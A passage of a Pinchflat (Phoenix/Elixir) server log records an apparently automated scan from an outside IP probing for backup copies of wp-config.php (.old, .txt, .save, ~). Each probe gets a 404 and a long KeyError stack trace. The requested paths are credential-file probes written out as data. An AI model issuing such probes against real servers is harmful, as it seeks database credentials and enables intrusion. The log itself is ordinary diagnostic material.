must-revalidate"}, {"x-request-id", "GKDb-pZ6c4ozaG4AAHAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, (truncated) 21:08:42.515 [info] GET /wp-config.php.old 21:08:42.515 [debug] QUERY OK source="settings" db=0.0ms idle=187.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.515 [debug] QUERY OK source="settings" db=0.0ms idle=175.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.515 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.515 [error] #PID<0.3332.0> running PinchflatWeb.Endpoint (connection #PID<0.3331.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-config.php.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3331.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49876}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3332.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-peOfLC3RUAAAPyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3331.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49876}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3331.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49876}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3332.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-peOfLC3RUAAAPyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, (truncated) 21:08:42.554 [info] GET /wp-config.php.txt 21:08:42.554 [debug] QUERY OK source="settings" db=0.1ms idle=214.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.555 [debug] QUERY OK source="settings" db=0.1ms idle=57.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.555 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.555 [error] #PID<0.3334.0> running PinchflatWeb.Endpoint (connection #PID<0.3333.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-config.php.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3333.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49882}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3334.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-pnnb5xvJkQAAP0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3333.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49882}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3333.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49882}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3334.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-pnnb5xvJkQAAP0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, (truncated) 21:08:42.646 [info] GET /wp-config.php.save 21:08:42.647 [debug] QUERY OK source="settings" db=0.1ms idle=149.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.647 [debug] QUERY OK source="settings" db=0.0ms idle=132.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.647 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.647 [error] #PID<0.3336.0> running PinchflatWeb.Endpoint (connection #PID<0.3335.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-config.php.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3335.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49888}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3336.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-p9oZutP3cAAAP2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3335.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49888}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3335.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49888}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3336.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-p9oZutP3cAAAP2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: (truncated) 21:08:42.740 [info] GET /wp-config.php~ 21:08:42.740 [debug] QUERY OK source="settings" db=0.1ms idle=225.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.740 [debug] QUERY OK source="settings" db=0.0ms idle=186.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.741 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.741 [error] #PID<0.3338.0> running PinchflatWeb.Endpoint (connection #PID<0.3337.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-config.php~ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3337.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49894}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3338.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-qT9P5TARa0AAP4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3337.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49894}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3337.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49894}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3338.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-qT9P5TARa0AAP4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ 